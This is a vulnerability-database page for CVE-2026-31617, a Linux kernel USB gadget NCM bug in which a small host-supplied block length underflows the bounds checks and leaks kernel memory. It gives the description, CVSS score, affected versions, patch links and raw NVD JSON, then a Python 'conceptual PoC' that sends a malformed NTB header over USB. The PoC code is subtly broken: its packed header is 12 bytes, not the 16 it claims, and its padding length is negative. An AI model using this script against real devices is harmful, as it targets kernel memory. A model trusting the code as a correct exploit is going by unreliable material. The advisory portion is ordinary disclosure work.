CVE-2026-31617

Description

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_ncm: validate minimum block_len in ncm_unwrap_ntb() The block_len read from the host-supplied NTB header is checked against ntb_max but has no lower bound. When block_len is smaller than opts->ndp_size, the bounds check of: ndp_index > (block_len - opts->ndp_size) will underflow producing a huge unsigned value that ndp_index can never exceed, defeating the check entirely. The same underflow occurs in the datagram index checks against block_len - opts->dpe_size. With those checks neutered, a malicious USB host can choose ndp_index and datagram offsets that point past the actual transfer, and the skb_put_data() copies adjacent kernel memory into the network skb. Fix this by rejecting block lengths that cannot hold at least the NTB header plus one NDP. This will make block_len - opts->ndp_size and block_len - opts->dpe_size both well-defined. Commit 8d2b1a1ec9f5 ("CDC-NCM: avoid overflow in sanity checking") fixed a related class of issues on the host side of NCM.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < Commit 8f993d30b95dc9557a8a96ceca11abed674c8acb

Linux Kernel < Commit 8757a2593631443648218244b9788e193ae0fdc1

Linux Kernel < Commit 74908b0318d1df1188457040b8714ff4d4b68126

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Conceptual PoC for triggering CVE-2026-31617
# Requires a malicious USB host setup

import usb.core
import struct

def send_malicious_ntb(dev, endpoint):
    # NCM Header structure
    # dwSignature: 0x484D434E (NCMH)
    # wHeaderLength: 0x0010 (16 bytes)
    # wSequence: arbitrary
    # wBlockLength: CRITICAL - set to a small value (e.g., 4) to trigger underflow
    # wNdpIndex: arbitrary offset pointing outside the small block
    
    # Normal block_len is usually > 512. Setting it to 4 < ndp_size causes underflow.
    malicious_block_len = 4 
    
    header = struct.pack('<IHHHH', 
                         0x484D434E,  # Signature
                         16,          # Header Length
                         1,           # Sequence
                         malicious_block_len, # Malicious Block Length
                         16           # NDP Index (Offset)
                         )
    
    # Construct the full malformed packet
    # This attempts to force the kernel to calculate (4 - ndp_size) which underflows
    payload = header + b'\x00' * (malicious_block_len - 16)
    
    try:
        dev.write(endpoint, payload, timeout=1000)
        print("[+] Malicious NCM packet sent.")
    except usb.core.USBError as e:
        print(f"[-] Error sending packet: {e}")

# Note: This is a conceptual demonstration. 
# Actual exploitation requires the target to be in USB Gadget mode.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31617
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31617
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31617/
[4] VulDB https://vuldb.com/cve/CVE-2026-31617
[5] https://git.kernel.org/stable/c/0f156bb5334e588034ca68ac2ee92b23f66e56e7
[6] https://git.kernel.org/stable/c/6762f8a95772265dd0c2ffe7f400493f3115b135
[7] https://git.kernel.org/stable/c/74908b0318d1df1188457040b8714ff4d4b68126
[8] https://git.kernel.org/stable/c/8757a2593631443648218244b9788e193ae0fdc1
[9] https://git.kernel.org/stable/c/8f993d30b95dc9557a8a96ceca11abed674c8acb
[10] https://git.kernel.org/stable/c/d58ba8f6546232f8414f396c189297dbee03f1a7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31617", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:40.973", "lastModified": "2026-04-28T17:27:20.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_ncm: validate minimum block_len in ncm_unwrap_ntb()\n\nThe block_len read from the host-supplied NTB header is checked against\nntb_max but has no lower bound. When block_len is smaller than\nopts->ndp_size, the bounds check of:\n\tndp_index > (block_len - opts->ndp_size)\nwill underflow producing a huge unsigned value that ndp_index can never\nexceed, defeating the check entirely.\n\nThe same underflow occurs in the datagram index checks against block_len\n- opts->dpe_size. With those checks neutered, a malicious USB host can\nchoose ndp_index and datagram offsets that point past the actual\ntransfer, and the skb_put_data() copies adjacent kernel memory into the\nnetwork skb.\n\nFix this by rejecting block lengths that cannot hold at least the NTB\nheader plus one NDP. This will make block_len - opts->ndp_size and\nblock_len - opts->dpe_size both well-defined.\n\nCommit 8d2b1a1ec9f5 (\"CDC-NCM: avoid overflow in sanity checking\") fixed\na related class of issues on the host side of NCM."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9", "versionEndExcluding": "6.6.136", "matchCriteriaId": "5F07F4AC-C44A-486A-9422-D8975351BA25"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12", "versionEndExcluding": "6.12.83", "matchCriteriaId": "A8BAD957-8E20-401C-A129-DFF3655CA0B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0f156bb5334e588034ca68ac2ee92b23f66e56e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6762f8a95772265dd0c2ffe7f400493f3115b135", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/74908b0318d1df1188457040b8714ff4d4b68126", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8757a2593631443648218244b9788e193ae0fdc1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8f993d30b95dc9557a8a96ceca11abed674c8acb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d58ba8f6546232f8414f396c189297dbee03f1a7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}